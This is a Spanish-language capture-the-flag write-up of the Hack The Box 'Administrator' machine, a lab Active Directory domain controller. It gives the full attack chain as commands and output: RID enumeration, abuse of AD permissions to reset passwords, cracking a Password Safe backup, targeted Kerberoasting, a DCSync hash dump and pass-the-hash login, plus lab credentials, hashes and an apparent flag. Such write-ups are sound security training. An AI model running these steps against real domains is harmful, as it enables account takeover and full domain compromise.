Administrator

Escaneo como siempre xd:

PORT     STATE SERVICE       VERSION                                                                    
21/tcp   open  ftp           Microsoft ftpd                                                             
| ftp-syst:                                                                                             
|_  SYST: Windows_NT                                                                                    
53/tcp   open  domain        Simple DNS Plus                                                            
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-30 03:42:33Z)             
135/tcp  open  msrpc         Microsoft Windows RPC                                                      
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn                                              
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)                                                                               
445/tcp  open  microsoft-ds?                                                                            
464/tcp  open  kpasswd5?                                                                                
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0                                        
636/tcp  open  tcpwrapped                                                                               
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s
| smb2-time: 
|   date: 2024-12-30T03:42:47
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.86 secon

Crackmapexec

A través del servicio SMB se obtiene la información del usuario actualmente existente

As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich

crackmapexec smb administrator.htb -u "Olivia" -p "ichliebedich" --rid-brute | grep SidTypeUser
¿Qué hace el comando en conjunto?
Se conecta al servidor SMB de administrator.htb usando las credenciales proporcionadas.
Intenta enumerar usuarios mediante el ataque de fuerza bruta de RIDs.
Filtra la salida para listar únicamente objetos del tipo usuario.

┌──(root㉿kali)-[/home/kali/Administrator]
└─# crackmapexec smb administrator.htb -u "Olivia" -p "ichliebedich" --rid-brute | grep SidTypeUser
SMB    administrator.htb 445    DC     500: ADMINISTRATOR\Administrator (SidTypeUser)
SMB    administrator.htb 445    DC     501: ADMINISTRATOR\Guest (SidTypeUser)
SMB    administrator.htb 445    DC     502: ADMINISTRATOR\krbtgt (SidTypeUser)
SMB    administrator.htb 445    DC     1000: ADMINISTRATOR\DC$ (SidTypeUser)
SMB    administrator.htb 445    DC     1108: ADMINISTRATOR\olivia (SidTypeUser)
SMB    administrator.htb 445    DC     1109: ADMINISTRATOR\michael (SidTypeUser)
SMB    administrator.htb 445    DC     1110: ADMINISTRATOR\benjamin (SidTypeUser)
SMB    administrator.htb 445    DC     1112: ADMINISTRATOR\emily (SidTypeUser)
SMB    administrator.htb 445    DC     1113: ADMINISTRATOR\ethan (SidTypeUser)
SMB    administrator.htb 445    DC     3601: ADMINISTRATOR\alexander (SidTypeUser)
SMB    administrator.htb 445    DC     3602: ADMINISTRATOR\emma (SidTypeUser)

Ejemplo de uso

El comando generará datos sobre la infraestructura de Active Directory, como:

  • Usuarios privilegiados (por ejemplo, miembros de Domain Admins).

  • Permisos excesivos entre usuarios y grupos.

  • Relaciones transitivas que puedan explotarse para escalar privilegios.

bloodhound-python -u Olivia -p 'ichliebedich' -c All -d administrator.htb -ns 10.10.11.42
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 39S

Encontro un subdominio llamado dc.administrator.htb

Usuario

Primero cambia la contraseña de Michael.

┌──(docker㉿docker)-[~/HackBox]
└─$ bloodyAD -u "olivia" -p "ichliebedich" -d "Administrator.htb" --host "10.10.11.42" set password "Michael" "12345678"
[+] Password changed successfully!
                                   

Luego usa la cuenta de Michael para cambiar la contraseña de Benjamin.

bloodyAD -u "Michael" -p "12345678" -d "Administrator.htb" --host "10.10.11.42" set password "Benjamin" "12345678"
[+] Password changed successfully!

Inicie sesión mediante FTP y descubra que existe un archivo de copia de seguridad

ftp administrator.htb

Descargamos el archivo que se encuentra:

┌──(docker㉿docker)-[~/HackBox]
└─$ ftp administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
Name (administrator.htb:docker): Benjamin
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||53378|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||53381|)
125 Data connection already open; Transfer starting.
100% |***********************************************************|   952        2.40 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (1.53 KiB/s)
ftp> exit
221 Goodbye.

os archivos psafe3 son archivos cifrados seguros con contraseña

No se puede leer directamente. Es necesario utilizar pwsafe2johnherramientas para obtener el hash que viene con Kali.

┌──(root㉿kali)-[/home/kali/Administrator]
└─# pwsafe2john Backup.psafe3  
Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050

Contraseña:

┌──(docker㉿docker)-[~/HackBox]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 512/512 AVX512BW 16x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho     (?)     
1g 0:00:00:00 DONE (2024-12-29 16:03) 5.555g/s 45511p/s 45511c/s 45511C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Instale Passwordsafe en kali y abra este archivo con contraseña

Copia la CONTRASEÑA de los tres usuarios.

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

Dado que el puerto 5985 en la máquina de destino está abierto, puede usar evil-winrm para iniciar sesión de forma remota.

┌──(root㉿kali)-[/home/kali/Administrator]
└─# evil-winrm -i administrator.htb -u emily -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb"
*Evil-WinRM* PS C:\Users\emily\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\emily\Desktop> ls


    Directory: C:\Users\emily\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk
-ar---        12/28/2024   3:48 PM             34 user.txt

Escalada de privilegios

Emliy tiene acceso de escritura a Ethan

El propio Ethan

Debido a los permisos de Emliy sobre Ethan, se puede utilizar un ataque Kerberoasting dirigido.

targetKerberoast es un script de Python que, como muchos otros scripts (como GetUserSPNs.py ), imprime el hash "kerberoast" para las cuentas de usuario que tienen SPN configurados. Esta herramienta ofrece la siguiente funcionalidad adicional: para cada usuario que no tiene un SPN, intenta establecer uno ( abusando de los permisos de escritura en el atributo ), imprime el hash "kerberoast" y elimina el SPN temporal establecido para la operación.

┌──(root㉿kali)-[/home/kali/Administrator/targetedKerberoast]
└─# python targetedKerberoast.py -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -d "Administrator.htb" --dc-ip 10.10.11.42
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator.htb/ethan*$15ec7606ffa3297b86b280475f514f9c$2e4d87fb991fa421183d34d1f57dc6eff6cf90d47f165e99e8caa4042a91278d9ae1897d9b5bd1c4938ae952b02b253b63207405bb7f66b8509c614b4e8a0fe9bff6e4ae67a8c6df5ce80d08d1e2f0cc78389f94289f4fe121f402cf1d8a411db8e49116ae92534989d03f740899d01f2f264273ad4da38a5537fde4c4d629961839c4a7916a3f246240ce1e50602d648a17d05384131d1729c9debfe576e9a37bf347899896e9df8bec3b2ac16110da971e0142ef5435bb73ee2fca6baf923ad26540ff42b735d73ff730cdb075026d0646247db541b3c824a2c8fef6c72572d06c64f341778b0456cbf6376f22bc444228cc4fef86c8bb62093c7081daf6ab75c809508c2ca0ab0fe679e1dbbd753441316d58d1245fdcd9e1b8ef58faa2c71ae319296eeda923da7a42677e65a7ab048b694ea8f880bb021740f94eb4f9b1416d37cd75f41c2b9d045370890611857ae2576e117c1ca52de93918d7104e95c95cd130b2d06805d6c99d5c13b61ab0040f02117accc14a8ad06e2f6d66103c07e9e96a6a2a94f4a12e34e9c3f8b46a305e778a17958128465967076c0365d7c87bb6c517d8ab27d1a89f582a72e303bf0ac54c1c7d2fbe80b2500cab320cdbac803fdfa2c8a54e8db9870a5dd73193a85878752373da71d223e8cdd47dcd2ba3c3b353bc5f1af493da902c90b5a26a218aa6875ff9ffa5bc8bc2f1f90d65502819f01f3c8539950c1d905b2bd803145cfd603a6d75a654ce2c83210b59ed9e6c232841a7d6f5e706072e8e9ed38baaf4c04640841726e61a7f484e900ef1515480ba9b337f80c9cc9d0f974aff33b83897d340a925ab084d60914f708eb5cb917c91ecb362b490f2da965fc476956c7f2d9968ed61b10bdacd2c371955253ebbddfbfc97ee2b38badec0413bca0ec1e11aa44429c6d3d9ab73aaa4a1425fbf23123260c42ed28229e3b766ed0c5682eb6b097b315f72b8ce387978525b3800229f5a0980de2b1f947168c6956d06c8ad9178aefd34addba5e3c9f719619aa29301579cd426415ae8c9d832a93ce3beccf70b58340e949b12e9e6d9d7ef80a3b5852f0e372ba786237cb3f6b2a2738a3b70fd070f5ecd59e5cab52cb145113fc0f4832ba7adc297d6a01167773f9a9a3a5302a0c6a672b1437372d349752350778db5dcdb5f986a7b3110d2584d12a21d32960c061d0f5a60f182257b8954fcd13936b14ef1c6cd5396b2d3549971d83ef116fe4e65916c73f7d231e1c7c99bd82854b152c016f663ecc4c962a30dce3569f088398f8d230996901bfa72f3427ede4d73d1f7b8828fe098c958867c3bd9017002c3e74fbe73650d05228039b57c916ae017e89859afb79c9fb951c815476495819840ae9468fdb66d6ee687de54fed4724c77eee4bd4f9b4995005f644e2b1a58f87deb91088ec9e318fe9d1f6b34a33f6e2e001c2a0e3c0d7f463376a5e3827fadf2a88d6f79d73188b207e06b3207700a5929dd3b6d7fe47bb71402d1881a49a990f0472d912937b66825

Si lo anterior falla, puede intentar sincronizar la zona horaria, porque la autenticación Kerberos es muy estricta en cuanto a la calibración de la hora:

┌──(root㉿kali)-[/home/kali/Administrator]
└─# ntpdate administrator.htb

Descifrar hash

┌──(root㉿kali)-[/home/kali/Administrator]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit       (?)     
1g 0:00:00:00 DONE (2024-12-06 17:35) 100.0g/s 512000p/s 512000c/s 512000C/s newzealand..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Obtenga la contraseña de Ethan:limpbizkit

Echa un vistazo a Ethan

Acerca de DCSync

Desde aquí: DCSync(bloodhoundenterprise.io)

Este borde representa la combinación de GetChanges y GetChangesAll. La combinación de estos dos permisos otorga al sujeto la capacidad de realizar un ataque DCSync.

Utilice esto para obtener el hash de la contraseña del administrador

basurero de secretos

Secretsdump.py es un script en el marco Impacket que también puede exportar el hash del usuario en el controlador de dominio a través de la tecnología DCSync. El principio de esta herramienta es utilizar primero las credenciales de inicio de sesión de usuario proporcionadas para conectarse de forma remota al controlador de dominio a través de smbexec o wmiexec y obtener altos privilegios, y luego exportar el hash de la cuenta local desde el registro y al mismo tiempo exportarlo. a través de Dcsync o desde el archivo NTDS.dit Hash de todos los usuarios del dominio. Su mayor ventaja es que admite la conexión a controladores de dominio desde computadoras fuera del dominio.

Luego use el hash de evil-winrm para iniciar sesión.

evil-winrm -i administrator.htb -u administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"

4a94299d40b8f90aaec930dc8601228a

Last updated